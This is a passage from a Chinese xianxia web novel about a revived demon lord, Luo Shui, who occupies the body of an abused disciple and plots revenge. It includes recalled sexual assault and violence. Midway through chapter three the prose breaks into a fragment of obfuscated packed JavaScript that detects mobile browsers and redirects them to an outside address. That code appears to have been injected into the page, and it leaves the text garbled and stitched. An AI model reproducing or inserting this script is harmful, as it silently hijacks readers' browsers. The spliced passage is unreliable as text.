《六根尽失后道侣为我疯魔了》 1. 一、复活(一) 一道浓烈的阳光肆无忌惮地闯入了眼眸之中,伴随而来的是剧烈的头疼。 ‘头疼’ 剧痛使洛水猛然惊醒,心如枯木的他瞬间被一股莫名的激动席卷,全身皮肤紧绷,鸡皮疙瘩都立了起来。 ‘这种□□才该有的感觉,如今怎么还能感受得到’洛水疑惑中,想伸手摸一下脸确认这份真实的感觉,手腕转动,又是一阵剧痛,随之而来的还有一股无力感,自己竟无法自由地操控手臂。 洛水循着无力感望去,只见自己的左右手的手腕处,有一道深可见骨的伤痕,此刻手腕伤口的血已经凝固,糊了厚厚一层的血痂,如此惨烈可怖的伤口,意味着身体的血液早就已经从这伤口处流干。 ‘难怪会如此无力又疼痛’洛水无奈地在心中感叹,但是一下子又回过神,惊讶地看了一圈周围,只见自己身着一件染满鲜血的白衣,而身下竟是得意之作——借尸还魂阵。 这个阵法名字已经足够直白,便是洛水用生魂和死尸结合研制而成的逆天法阵,但是这个阵法洛水自己也只在动物身上试用过,因为极度的不稳定,生魂与死尸结合大多只会变成没有理智的丧尸,偶有几次成功结合成有意识的活尸,也只能活半个时辰变炸体而亡。 洛水虽有天下第一邪魔之名,但是这种逆天而行的法术,终究是违背了天地人法则,故而洛水虽研制出了法阵,但一次也未用过,只是提笔记录在了自己千万册邪门功法里的某一册后,随手一扔,便不再记起。 ‘这阵法,如果我没记错,距离我上次想起已有将近三百年了,怎么……’思绪并未能扩散太多,随之而来的,是一阵阵的头疼欲裂,伴随着头疼而来的,还有一股股的记忆,耳光的疼痛感,被人诬陷的无力感,被人强迫的疼痛感,屈辱,愤恨,难过,千万种难以消化的负面情绪和不堪入目的记忆从脑子的伸出迸发而出,即便是洛水这等历经千雷万火淬炼的邪魔,也终究难以承受,痛苦地跪倒在地,身躯蜷缩成一团。 不知过了多久,洛水的意识慢慢回归,此时的他满脸泪水和口水,均是刚才的痛苦折磨所致,洛水此时才从那些痛苦和回忆里理清了大概的原委。 洛水此时此刻的身体,并非属于洛水,而是一个名为顾青的人,此人乃天山派雪霜门的弟子,他入门修行已历半世纪,修为已至筑基后期,本是前途无量的青年才俊。然而,在初窥结丹门槛之际,却遭门中师尊无情掠夺仙髓,致使他功力散尽,身份一落千丈,从门中弟子沦为打杂之人,日日饱受同门弟子的欺凌与侮辱。 顾青本就是天山派山下村落的孤儿,偶得仙缘,有了灵根,才被天山派收作弟子。顾青本应日复一日地修行,期待着有朝一日能顺利筑基,进而结丹,但正是结丹前期,顾青无意中外泄的冰霜之气,让雪霜门主——顾青的师傅凝无双感知,顾青体内的仙髓,正是天山派苦寻百余年的冰凌圣根,这种仙髓无法通过修炼获得,而是天命所归。拥有它的人,若不修真,便与凡人无异,但一旦踏上修真之路,他们便能迅速汲取天地灵气滋养仙髓,自然而然地掌握水系与冰系法术 天山派创派灵祖便是有冰凌圣根的元婴修士,但在五百年前因无法踏入化神期,已道消人灭,之后天山派已再无元婴修士,即便是当今的天山派掌门,也因缺失冰凌圣根,已卡在结丹后期多年,如再无冰凌圣根辅助修炼突破结丹,那么大限降至,从而道消人灭。 天山派创派至今,也有过风光日子,但如今只有主峰和几个小山脉,原本属于天山派的灵气地脉,早已被后来居上的其他门派掠夺,如果掌门再不突破,只怕天山派的命数也将随着掌门的大限而走到尽头。 就在众人一筹莫展的时候,顾青这个五十年变有望进入结丹期的有为后生,竟被发现是冰凌圣根附体。凝无双感知到后,并没有多加犹豫,在茶水里下了药,趁着顾青失去意识之际,便伙同其余门主一同拔除了顾青的冰凌圣根。 ‘活人拔灵根,这和生剥皮活剜肉有什么区别’洛水也是天下第一邪魔,也是见过做过许多腌臜血腥之事,但是生拔灵根这样的事,他却从未有过,只因这灵根是附着于人体的神经之上,而神经又附着于脊骨之上,如生拔,人会瞬间痛晕过去,如若这般死去便是最好的结果,如若没有,那么活下来的人,将时刻感受锥骨刺肉之痛,时时刻刻,没有尽头,直到忍受不下去自戕而亡。这样的做法毫无乐趣,洛水并不是以弑杀为乐的邪道。 ‘这顾青,难道是因为受不了仙髓被剥后的痛苦,从而用了这阵法寻求解脱?可是,这也不对啊,要自杀直接跳崖便是,用这个借尸还魂阵有何意义呢?况且我又没被顾青绑在这一同炼化,他又怎么能把我的魂换到这身体里来’洛水满腔疑惑,但是这具身体许是到了极限,只剩下疼痛,再多的记忆便没有了,而借尸还魂阵洛水自己也未用活人试验过,具体是怎么样,以及有什么后果通通未知。 洛水并不是一个喜欢沉思的人,在脑子里转了两圈,实在没有从脑子里理出更多的信息来,便用下巴和身躯,一点点拱着自己坐起来。 ‘这顾青下手也是没轻没重的,谁家以血献祭是割脉的,割脉流血那么多,一下子就得因为失血过去死过去。还有……呼呼呼……还有你割就割,你把你自己的手筋都给割断是什么意思?手筋都断了,这手还有什么用啊’洛水一边用力吐槽,一边用力爬起,终于过了好一会,才满头大汗地坐了起来。 坐起来的第一件事,便是环顾四周,一看,这不就是自己升神前的洞府吗?里面的摆设熟悉无比,除了哪里都是灰尘以外,啥都没变。 洛水选择这个洞府作为自己升神期的最后住所,便是看中这里的山脉灵气丰厚,但是这里的灵气掺杂着许多怨气、死气,并非纯蕴之气,若是正道人士以此灵气修行,不出百日便要爆体而亡,只因这山脉之下,埋藏着千万年前的生物遗骨,这遗骨死前有怨有恨,死后怨气四散,也污染了山脉的灵气。 ‘正派的人用不了,可我又不是正派’洛水当年发现这里时,只能用喜上眉梢形容,这世间邪魔歪道的修炼,其实比正派修行难得多,因为天底下能供给邪魔修士的灵气太少,有一些邪魔修士为了获取更多的怨气,也会潜入到凡人国度中,挑起战争,导致生灵涂炭,从而吸收怨气修为。也正是因为这样,邪魔歪道是人人得而诛之。洛水能遇到这么一块天然且源源不断的怨气灵脉,着实是机缘到了。靠着这方怨气灵脉,洛水也仅用了两百余年,便成功进入化神期。 “呵,邪神,还天下第一邪神,笑话。”洛水第一次开口,发现这具身体的声音着实好听,清雅贵气,带着一点点的冰冷,这股冰冷的距离感却又是恰到好处,并不是那种拒人于千里之外的感觉。 “也不知道还灵不灵。咳咳……邪见!听令!”洛水开口,贯彻灵力于全身,一股波浪从洛水身体冲出,把周遭各类东西上的厚厚灰尘一吐而散,整个空间立即烟尘缭绕。 “风……咳咳……风……风来!”洛水被灰尘呛了好几口,顶着喉咙进尘的难受感,御动法诀,一股清风直接吹起,卷着空间里的灰尘,呼一下直接冲向了洞口。一瞬间,整个洞府的灰尘都没了。 “咳咳!!咳咳!!是谁!是谁把本大爷召唤来这鬼地方!知不知道你本大爷是谁啊!”灰尘散去,洞府中立刻传出另一阵咳嗽声,还有一阵‘呸呸呸’的吐口水声。循着声音看去,只见一只双耳硕大,但是肌肉分明,额头上还绑着一条镶着各色宝石头箍的——肌肉老鼠,正在原地不断地咒骂着。 “是谁啊!灵力都供不起本大爷的真身降临,怎么把老子召唤成一只死老鼠了!”肌肉老鼠咳完,举起手一瞧,只 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“是谁?我教你的本事是全忘了?你现在连‘通魂眼’都不会使了?”洛水一说,肌肉老鼠才想起这茬,双眼一瞪化为通红,只见面前的陌生男人皮肉之下,竟是一尊通体黝黑的魂体,魂体散着浓浓的煞气,混沌不分,时时刻刻都漫着危险气息,这股熟悉感,已有多年未曾亲自感受,如今再见,急得肌肉老鼠大喊:“主!主人!” “算你本事还在,这几百年若是怠惰修行,我一道雷就把你劈回畜生道轮回去。”洛水瞪大眼威胁说着,但是此时的他双手垂着,头发凌乱,这些威胁的话带着浓浓的滑稽味,肌肉老鼠没了荆棘闪电的束缚,立即痛哭流涕地哭喊道:“主人!我好想你啊!啊!啊!” 洛水没好气地一脚踢向肌肉老鼠,没好气地说道:“你好臭,滚远点。” “是……”肌肉老鼠收敛了动作,默默地站到了一边。 “去,把这洞府灭了的灵石都点上,洞府太大了,虽是白天也老是看不清东西。”洛水看着洞府上方那一弯缺口,明亮的阳光倾斜而下,刚好照到刚才自己躺着的地方,但其余的位置依旧黑漆漆的。 “是。”肌肉老鼠刚应下,只见他的身影快速移动,一下两下三下峡,洞府角落处用于照明的灵石皆被他注入灵力,一下子发出了温润的光亮,整个洞府这才原原本本地显现出来。 “去药房里找下,我要那个断续黑膏。”洛水说着话,也起身坐到了一处他用于休憩的躺椅上,这一早上混乱不已,但对比这些混乱,身体上的疼痛才是他此刻最需要面对的,这些在□□上迸发的感觉已太久没感受过了,此刻的疼痛虽是难受,但也让洛水有了别样的愉悦心情。 “主人,还能用的断续黑膏就只有这一小罐了,其余的不是发霉就是干成粉了。”肌肉老鼠很快地就从一个房间出来,手里端着一个雕梅白瓷罐,洛水没多看,只是举起双手,露出手腕处的伤口,略带点疲倦地说道:“敷上吧,涂厚点。” 肌肉老鼠看着洛水手上的伤口,眼睛里闪过一次难受,紧接着就是愤怒,但很快又恢复平静,他放下药瓶,转身又回了房间,出来时手中拿着一根玉棒,肌肉老鼠小心地把玉棒插入罐中搅了搅,一股药香扑鼻而来,黏腻的膏药随着玉棒而出,肌肉老鼠小心翼翼地把膏药涂在洛水那骇人的伤口处。 “你那是什么眼神,跟着我那么多年,如今养尊处优了,是见不得这样的伤口了吗?”洛水口吻有点使坏,肌肉老鼠眼睛里扑闪扑闪,跟着几滴泪落了下来。 “小的只是心疼主人,但又开心还能再见到主人,我还以为,我还以为……” “以为什么,以为我不会再回人间了吗?” “我以为主人你陨落以后就……就……就彻底没了!” 2. 二、复活(二) “我怎么会没了,我可是邪神……天下第一的……”洛水笑着回答,但是语气到后面有些落寞。 “蠢狗死蛇破猫贼马和我说,说是,说是主人您被,被用天罚之火炼狱之雷劈散了功力,用天齿地耙灭了躯体,从此天地人再无您这号人物了……”肌肉老鼠声音越说越小,洛水倒是认真听着,面无表情,见肌肉老鼠不再作声,才继续问:“他们有说是谁灭的我吗?” “自然是有!正道第一武神凌晨峰!就是那个忘恩负义的小人!我们这五个想过为主人你报仇!可还没靠近诸天峰的山脉,便被凌晨峰那小人封印了道行打散在了九州各地,说来,我也许久没见过他们几个了。”肌肉越老鼠说面部表情越狰狞,那几根老鼠胡须和硕大的耳朵激动得一抖一抖的,别样的可爱。 “还好我们几个是和主人你命脉相连的,只要你一声召唤,便是在阴曹地府也能把我们唤来,主人你快把另外那四个蠢货唤来,我们一齐打上诸天峰,灭了那该死的天道门!”肌肉老鼠越说越起劲,刚才的愤怒立刻被兴奋替代。 “嗯……我做不到。”洛水微微一笑,扯出一个无奈的神情。 “什么!怎么会!” “我不知道,我仅剩的一点神力,都用在了召唤你的术法上了,你们几个也是元婴期的妖修了,召唤你们用的神力可不少,而且……”洛水看着眼前浑身肌肉,衣着华丽,但身形只有小孩子大小的肌肉老鼠,无奈道:“你难道没发现,我只召唤了你的元神,你的肉身并不在这。” “我,我还以为是主人你故意的……” “并非我故意,说实话我也不知道发生了什么事,这副身躯的事,还有我为什么没有彻底陨灭的事,我的记忆也是缺失的,更别提修为了,我元神里所剩不多的神力都用在了你的召唤术上了,而这副身躯,连仙髓都没,要不是在这洞府里,我此刻在外头也只是个残疾的普通人,不需要什么天雷地火,随便饿我两天,我就必死无疑。” “仙髓都没?那主人你……”肌肉老鼠有点惊愕,仙髓对于世间修真而言,乃是基础上的基础,如无仙髓,便如人无双脚,无论怎么努力也不可能站立行走。 “可我是邪魔歪道啊,我没有了仙髓,我抽别人的仙髓便是。又或者,我直接夺舍也不是不行啊。”洛水邪魅一笑,肌肉老鼠这才反应过来,自己的主人是千年难得万年难见的邪魔第一人,也是这世间第一个靠着邪门功夫和混沌邪气而跨入神界的修真之人,对于规矩众多,要求不少的正道,主人确实有许多正道所不齿的方法加注修为,想到这,肌肉老鼠不由得会心一笑,转而对洛水问道:“那主人,我们现在先干吗……” “嗯……先给我做顿饭吧。”洛水一开口,肌肉老鼠有点蒙了,没想到这多年不见的邪神主人,给到自己的第一个任务,居然是去做饭。 鸡肉老鼠邪见忙活了两个时辰,才从厨房里端出了一碗黑乎乎的糊状物,洞府已无人居住许久,厨房里的东西早就灰飞烟灭了,只剩下一些洛水曾经想用于培植的仙草仙果种子,因为自带灵气而没有腐坏,但是修真之人素来辟谷,一连几年也不会进食一次,故而所谓的厨房就是炼丹房,但洛水也不曾靠丹药增加灵力,所以炼丹房里也只有一口铜制大锅,邪见忙活了许久,才把那几颗种子炼熟,因为自己的元神已是元婴中期,随便丢一把火都能把整个洞府炼化,要想控制火不烧毁种子,简单难上加难,况且他修炼的功法也不是火系的。 当邪见把焦煳物端给洛水时,洛水倒是没有说什么,只是眉眼挑了下,对邪见说道:“来吧,你来喂我。” 邪见听见,是又激动又开心,以前和其余四个都在主人跟前时,根本轮不到他做伺候的事,因为其余几个都嫌弃他笨,而且他一旦开口叽叽喳喳就说个不停,主人是爱静的性格,更加被另外四个严禁没事靠近主人,叨扰主人修炼,如今好日子来了,也终于轮到他邪见伺候主人了。 只是伺候到一半,邪见又感觉有一阵心酸和心疼的感觉涌上心头,洛水此刻面无表情地咀嚼着糊状物,看不出他的表情是嫌弃还是生气。不过这也是洛水素来的样子,喜怒不形于色,但好在,主人从不让人猜心情,虽然看不懂,但也不会触到主人逆鳞。 邪见看着洛水的脸,这是一张完全陌生的脸,五官清秀,眉眼间带着一丝冰冷,与其说是面无表情,不如说是表情之下有一股韧劲,一股不服的韧劲,这是从前洛水没有的感觉。洛水原本的身躯极美,当初与合欢老祖第一次碰面,便被说洛水天生合欢魅惑之相,修炼合欢道必定大成。合欢道,便是用皮相魅惑,汲取人灵气的魅惑之法,但洛水说自己更喜欢打打杀杀的场景,故而拒绝了合欢老祖邀他入门做长老的邀请。 ‘如若主人当年修了合欢道,可能便不会被世人嫌弃至此,也不会成神,还被折磨至身消道陨,不过还好,如今主人回来了,一切,又可以重新开始了’ 邪见遐想之间,洛水已把一碗的焦煳物吞咽完,他晃了晃手,发现手腕已无疼痛感,故而再使劲握拳,发现手掌已重回自己的掌握,可以收缩自如了。 “果然,断续黑膏就是好用,可惜当年药王赠我的那一堆,都被我闲置成粉末了。”洛水一声叹息。 “是主人说即将踏入化神期,又怎还需要此类凡物养伤,化神期的躯体已脱离凡间法则,凡间药物是无法治愈化神期躯体的,故而一直放在炼丹房闲置,想来当初应该偷拿几瓶去换些金银回来。”邪见打趣应和。 “是啊,如今洞府仍在,各类东西仍在,但神躯已无,一切又要从头来过了。”洛水说着站起了身,一坨脏臭凌乱的头发立刻砸到背部散发阵阵恶臭,洛水看着浑身血迹的衣衫,对着邪见说:“去看下后山那股泉还在不,如果还在,去书房看下,那个有补丁的破烂包裹还在不,如果没烂的话,我记得那里面有两张火灵符,你拿去丢进泉水里热一下水,我想洗个澡,我如今没有灵力,没办法御动符咒了。” 邪见听完吩咐,便退下做事了。洛水也趁着这个空当,再次心中念咒,御动灵力,发现自己的身躯如一个漏风之洞,无论如何御动周遭灵力,均无法吸入身躯化作自身灵力。而自己的元神,虽仍保持完整,但是神力全无,千年修为一点不剩,如若身躯无法汲取灵力,那么附着在身躯内的元神将得不到灵力蕴养,虽说目前无碍,但是元神一直无灵力供养,也迟早消散,看来无论之后有什么计划打算,都必须得把这副身躯的仙髓拿回来才行。 ‘起码,是有了一个活下去的目标’洛水不明白自己为什么突然冒出这么一个念头,这个念头似乎是元神深处迸发出来的,来得莫名其妙,就如同,身躯里有另一个自己突然冒出了这个念头。 “主人,水热好了。”邪见蹦跶着小腿跑过来,手里还拿着一大沓的符咒,兴奋说道:“不仅没坏,我还发现主人好多结丹期时无聊炼出来的符咒,都压在那个包裹里呢,我拿这些去换金银财宝肯定也有不少。” “这些,先不换吧,你去各个房间清点一下,看看少了些什么,又或者哪些东西坏了毁了,把还能用的整理出来,估计还有用。”邪见从未得到洛水如此重用,听完后立刻兴奋地蹦跶着跑开,洛水沿着洞道往里走,很快便走到了一方露天的场地,这里树木葱茏,鸟语花香,一湾碧泉落在一处,青蓝透彻。 洛水自认不是个风雅之士,但是看到如此美景,也不禁动容,当年选的洞府是冲着汲取怨气而来,谁又能想到怨气之上,是美轮美奂的景色,不过当年的他也并未在此享受什么,元婴后期突破进化神期,全世界的感知均在神志里进行,外界的一草一木都无法感受,那年他再睁眼,已是身体向天而 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洛水继续检查身体,却发现身体的私密处,竟然也有伤痕。洛水修行千年,自然知道私密处的伤痕是如何造成的,他眉眼一转,脑子忽然涌现出更多的影像,只看见顾青被抽去仙髓后只能躺在自己的屋子里靠水度日,不知哪日夜晚,一个高大的身躯浑身酒味闯了进来,不曾多说什么,直接便是撕破顾青身上仅剩的薄衣,刚刚有些愈合的伤口被这般粗鲁的动作挣得裂开渗血,顾青大喊着“大师兄饶了我吧”,但那黑影不依不饶,一整夜噩梦般的折磨,第二日那人连收拾都不曾有,只丢下一句:“什么都没发生。”便离开了。 再之后,这个名为大师兄的黑影依旧趁着顾青伤痛未愈在夜晚寻来,这样噩梦般的深夜让顾青痛苦万分,几次想咬舌自尽,但是心中有一股劲正在汲取怨恨生长,他发誓,他一定要报仇,他一定要把这些不把他当人,践踏他如狗的人,通通杀光,无论要付出多大的代价,即使是万劫不复,他也要杀!杀!杀! 回忆到此戛然而止,洛水此刻被突如其来的记忆折磨到倒在温热的泉水里,随后一道如同锁链的黑斑从脖颈处显露出来,洛水讶异,这副身躯竟然有诅咒! 洛水摸着脖颈处的黑斑,手指接触便能感到一阵恶寒,绝对是诅咒没错,这道诅咒怨念极深,已插至洛水的元神之上,洛水还能感觉到诅咒正在从元神中蔓延,如同带刺的荆棘,一分一厘地插入自己的元神,如若这道诅咒贯穿至元神颅顶,自己必将被诅咒咒杀。 ‘我就说,一般的怨恨又怎会把我给招来,原来是如此深重之怨’洛水摸着脖子,黑斑一下便消失不见了,恨意消失这道诅咒便不会显形。 ‘看来,要解除这诅咒,唯一的办法就是消灭所有曾经欺辱过顾青的人。’洛水一边思索着,一边拿起温水开始慢慢梳洗,脑海中开始盘算起来。 一个时辰后,邪见捧着一套冰青色的长袍小跑过来,嬉笑着说:“主人,那条蠢狗把您成神前的衣服都用术法保存得完好无损,一点都没坏,您快换上吧。” 洛水没有回应,只是轻轻一挥手,一团雾气从身上飘出,待雾气消散,只见洛水头发干爽,全身洁净地走了出来。 “主人,您的术法恢复了吗?”邪见惊喜地问。 “并没有,这个‘干爽咒’消耗的灵力不多,即便是凡人,只要能驾驭一点灵气就能施展。不过,我也发现,尽管这具躯体失去了仙髓,它仍能储存一些灵力,只是数量有限,恐怕一个唤雷术就会耗尽所有灵力。”洛水说着穿上邪见递来的长袍,之前的他比顾青壮硕一些,因此这长袍穿起来有些宽松,更显得顾青瘦弱。 “既然如此,主人有何打算?您总不能一辈子都用这副身躯吧?要不我帮您抓一个正道的壮士,要那种天资聪颖、灵根优秀的,好让您夺舍,重新修炼。” “夺舍需要结丹后期的灵力,而我如今的灵力,哪里够夺舍。”洛水挥了挥长袍,过去的自己虽然不是风雅之人,却是个奢侈之徒,所用之物皆是极好极贵。如今身上的这件长袍,虽是他众多衣物中最普通平凡的,却也奢侈至极。 “邪见,我有些事需要你去做,都是我们之前最擅长的。”洛水伸手进衣袖下的衬袋,果然摸到了一把玉柄扇,他拿起扇子轻抵嘴角一笑,邪见瞬间恍惚,仿佛那个喜欢恶作剧、邪恶的主人真的回来了。 3. 三、复活(三) 在邪见离开洞府的几天里,洛水也没有闲着,他一点点整理着自己留下的物品,但因为年代久远,许多物品都已风化,一触即溃。唯一未被时间侵蚀的,只剩下好几十柜的邪魔外道法诀。为了防止损坏,这些法诀在制作时就被洛水施加了咒术,确保万年不朽。 这些法诀均为洛水自创,既有适用于正经战斗的,也不乏供他消遣玩乐的,而更多的是为正道所不容的邪魔歪道之术。而被顾青取出使用的‘借尸还魂阵’,就藏在这几十柜法诀中的某个角落。 ‘真是缘分,这一柜子的法诀,偏偏是借尸还魂阵被他找到了’洛水将记录阵法的册子放回柜中,这阵法是他研制出来后觉得无趣而搁置的。如今看来,借尸还魂阵的成功与否,与布阵者的怨气恨意有关,而且成功还魂后,得到尸体者必须帮施法者完成心愿,否则也会被阵法咒杀。 这几日闲暇时,洛水遵循化神之前的习惯,开始打坐冥想汲取灵气。虽然现在的身躯无法将灵气聚拢为元神所用,但灵气能滋养躯体,快速修复顾青躯体留下的伤痛。洛水在此期间意外发现,通过借尸还魂阵得到的躯体,竟是一具无魂的活尸。 活尸与常人无异,但无灵魂,因此躯体的感知十分僵硬,比如刀砍□□,即便被击中也不会有太多感觉。而且体内没有血液流动,需要用灵力代替血液来驱动身体。若是昔日的洛水,其灵力在凡尘之中犹如江河不息,而今却只能每日静坐冥想数个时辰,勉强为这脆弱的身躯补充些许灵力,否则数日之内,肉身便将逐渐腐朽。由于那阵法的诅咒与元神紧密相连,即便肉身腐朽,诅咒亦不会消散,故而洛水必须分外谨慎,毕竟,为了破除诅咒,这具身体尚有其用武之地。 “主人,我回来了!”数日后,洛水还在静修时,洞府口传来了邪见的声音。洛水睁开眼睛,只见邪见急匆匆地跑进来,一刻也没耽搁,便开始滔滔不绝地向洛水讲述自己打探到的消息。 原来这天山派乃是在洛水飞升之后才得以创立的门派,它坐落于山谷之外的山峦之巅,自封为正统修真门派,然而门徒稀少,即便算上掌门与数位山主,天山派真正的修真之士也不过寥寥十数人而已。如今天山派的灵脉已被其他门派瓜分,原因是掌门迟迟无法从结丹后期进阶元婴。不过这几日天山派上空出现祥瑞之兆,似乎有人要突破了。 但据我所知,尽管这祥瑞之兆每日都在天山派出现,连续十几天了,却未见天山派有人出来宣布是谁突破。这事闹得沸沸扬扬,对天山派虎视眈眈的门派都开始在周围观望,如果再过几天还未有人成功突破,恐怕就要直接强攻进去了。 听到这里,洛水大致能猜到,应该是顾青被夺走的冰凌圣根即将被掌门炼化,但迟迟未有进展。想来是这冰凌圣根与掌门无法融合,毕竟天生之物被后天夺取,本就违背天道。然而,无论天道如何不容,只要坚持不懈地炼化,那冰凌圣根终将被驯服,不过是早晚之事罢了。 想到这里,洛水知道时间紧迫,顾青的愿望是杀光天山派的人,但如果失去了冰凌圣根,又如何能将天山派的人斩尽杀绝呢。洛水毫不犹豫地转身回房,取出一个精致的香囊轻轻挂于腰间,随后转身望向邪见,语气坚定地说:“邪见,再助我一臂之力,为这香囊施加一道禁忌,让它成为我的专属守护,任何妄图触碰之人,都将面临死亡的威胁。” 这样的禁忌对邪见来说轻而易举,为了增强效果,邪见还额外增加了一道瘟疫禁忌,任何触碰这香囊的人不仅会死于非命,与其亲近者也会染上瘟疫,毕竟他的外号是‘瘟疫行者’。 “邪见,我想我们该说再见了。”待邪见施咒完毕,洛水淡淡一笑对邪见说。 “什么?!主人,你这是何意?难道你要抛弃邪见了吗?”邪见听后,眼眶瞬间湿润,泪水夺眶而出,声音中带着几分颤抖。 “你哭什么,我们不是已经很久没见了吗?离别不是早就习惯了吗?” “我,我从未习惯过!我,我还想过以前那样的日子,我还想和主人还有那几个废柴一起,看不惯就杀,打不过就跑,我,我……” “你哭什么,我这重头开始修仙,你想我了,直接来找我就是了,我又不会跑远。对于元婴期的你来说,找我又有多难。我要和你说再见,是因为我召唤你的神力已无法继续维持,而且你现在是以元婴之姿被我招来,真身若有不测,便是万劫不复。你暂且回到你的真身去,想我了再来寻我便是。”洛水摸了摸邪见的脑袋,依旧淡淡一笑。 “真的吗?主人,我可以来找你吗?”邪见大喜。 “当然,说不定我还需要你帮我进修呢。” “好耶!”邪见开心地跳了起来,很快又似乎想起了什么,转头问洛水:“主人,我可以问你一个问题吗?” “可以,你问吧。” “这次回来,你为什么只召唤了我,是不是因为,我在主人的心里最重要?” “当然,不是啊。”洛水笑容未减,轻抚邪见头顶的手忽地一转,玩笑般地道:“实则是五人之中,唯你召唤所需神力最少罢了。” 告别邪见后,洛水从洞府内走了出来,此处洞府有他布下的诛杀结界,若非洛水本人及其亲近者靠近,便会遭到瘴气毒杀。想来顾青能够闯入此处还活着,必是身上怨气恨意十足,让结界误以为顾青是洛水亲近者,才未启动。 ‘想来,这就是缘分吧’洛水行至结界笼罩的最后一处地方,又回头看了眼身后的洞府,随后,他轻轻披上笠帽,留下一句‘后会有期’,便悠然步出了那层神秘的结界。 天山派掌门殿内,几名术法者正对着眼前一株雪白色根茎状的物体源源不断注入灵力,几名术法者满头大汗,其中一个女子最先瘫软坐地,不断地喘着粗气,其他几人见状,也立即收起灵力,原地盘膝坐下开始运气调息。 “这冰凌圣根,竟需要如此多的灵气,我们几人已连续小半年每日在此注入灵力,没想到竟然还未将其炼化。”那女子看着眼前的根茎状物体,眼中满是怨念。 “毕竟是冰凌圣根,这类天生自带之物,用后天手段炼化必定是难上加难。”打坐中一个肚子突出、鼻子通红的中老年施法者开口说道。 “只能怪无双师妹太急切,未曾与我们几人商议,便下药强取了这圣根,若是在那弟子体内养到结丹期再取,就不会有今日之劳累了。”接话的是一位看起来有些年纪的女人,名为无双的女子狠狠地瞪了过来,语气中带着怒意道:“那无垢师姐是在责怪我咯?” “岂敢,为本门寻得冰凌圣根此等功劳,我怎敢责怪,不过是就事论事。”无垢语气中带着阴阳怪气,无双听后,怒意如潮水般汹涌而出,脸色铁青。“然而,我们目前的状况,各位师兄也看到了,门外五十里地,就有十数个门派虎视眈眈,哪一个不是在觊觎着我们炼化的那一刻,准备伺机而动,夺取圣根,置我们于死地呢?冰凌圣根固然价值连城,但若因此损害了门派的根本利益,那便是本末倒置。” “无垢师姐的见解十分中肯,但鉴于目前的进展,我们已是进退两难,只能坚持到底。”一位年轻施法者站起身,语气坚定。“如若掌门成功吸收圣根,便可瞬间突破至元婴中期,届时元婴之下皆为蝼蚁,又何必惧怕门外那些狂徒。” “的确,我们不能半途而废。”无双也站起身,尽管面色依旧苍白,但眼神中透露出坚定的决心。“我建议增加人手,实行轮换制,以确保在最短时间内完成炼化工作。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116013|164160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “那就让门中有修为的弟子,也跟着一起往灵根注入灵力吧,力求在这几日内炼化它。”端坐在中间的男人缓缓开口,只有他的脸色如常,看不出疲倦。“作为掌门,我又怎能允许天山派在我这一代陨落,放心,我早已启动了护山大阵,即便他们攻进来,也能拖延数日。另外,我已经用仙鹤传书,请求了天山派的盟友前来支援,这两日便会到达,各位师弟师妹可以稍微安心一些,还是集中精神,助我早日突破,毕竟这才是唯一的解决之道。” 在场的施法者们纷纷点头表示同意,他们深知这是一场艰难的挑战,但他们别无选择。天山派的未来,可能就取决于冰凌圣根的炼化结果。他们必须成功,无论代价如何。 夜幕降临,灵力灌注终告一段落。这时,掌门近侍弟子匆匆赶来,跪拜行礼后,高声禀报:“掌门,山门外有贵客来访,已呈上拜帖。” 掌门站起身走向弟子,接过手中的箭状拜帖,双眉一皱,随后舒展开,笑道:“好,好,好,天助我也,援兵已到,师弟师妹们,随我一同前去迎接贵客吧。” 天山派山门外的山脚下,洛水用了将近一天的时间才抵达此处,许久未曾用□□行走,几乎忘记了这是一件多么劳累的事。若非这活尸之躯对疼痛疲倦几乎无知觉,洛水绝不会甘愿忍受这般的奔波劳碌。 “这凡人身体真是麻烦,明明是具活尸了,居然还得吃饭,靠那点子吸来的灵力根本不够维持肉身,况且灵力还要留着以作不时之需。”洛水一边抱怨着,一边用手指轻点腰间的香囊,随后一个巨大的白膜蹦到了手中。“还好刚才路过的小镇有藏宝阁,能用一些灵石和符箓换钱,不然今天就得自己打猎了。” 顾青边吃边爬山,没多久,只听见一阵轰隆之声,一道笼罩在山中的金光消散,数道不同颜色的光芒自天上飞下,顾青看得惊奇,也很快反应过来,这是可以日行千里的御神术,看来来此的结丹期修士不少呀。 顾青匆忙间几口吞下馒头,不顾脚下的微痛,迅速向山顶冲刺。 天山门派卸去防御金顶,围守在附近的各大门派也看到了,但是无一门派胆敢此刻靠近,让其余门派忌惮的无他,正是他们看到了那几道不同颜色的光芒中,有一人背上插着一面黑色旗帜,旗帜上有一硕大的金色大字——凌。 “凌家?诸天峰怎么也来凑热闹?”围观的一个筑基期修士疑惑问道。 “就是,天山派只不过是个小派,掌门也仅是结丹后期,诸天峰光元婴修士就有六位,更别提还有一位化神大尊,我们这些闲杂门派的小打小闹,怎么会引来诸天峰?”一个嘴角眼鼻有些歪斜的结丹初期修士接上了话。 “你们看,来的并非诸天峰的高手,只是一些后辈,唯有领队凌不疑是结丹后期,其余皆是筑基期弟子。” “尽管他们只是筑基期的后辈,但那面旗帜的存在,足以震慑众人,诸天峰作为正道三大派之一,谁敢轻易招惹,无异于自寻死路。” “凌家算什么,自然是有人敢惹他们。” “谁?”议论的几人齐齐回头问道。 “天下第一邪修士,邪魔神洛水。” “嘁……”众人听闻答案,齐齐转回头,其中一人不屑道:“拿一个不知死了多少年的玩意儿出来说,你也是有够无聊的。” “可当初凭一己之力差点击溃正派同盟,与化神期凌晨峰打得有来有回的,便只有邪魔神洛水了啊。” “往昔是往昔,今朝是今朝,如今仍活蹦乱跳、风光无限的,乃是凌晨峰,而非那已成过往云烟的邪魔神洛水。哎呀,不和你们废话了,我得回去禀报我的领队才行。”此话一出,众人也觉得需赶紧回去通传一声,众人一溜烟四散开来。 4. 四、初次见面 “这门派着实小气,灵气也稀薄,让我浑身难受。”说话的是一个少年,眉清目秀,但一股子的机灵劲,那面黑旗便是插在他的背部装置上。此刻他站在门口,左挠右挠,如同虱子上身,浑身的不对劲。 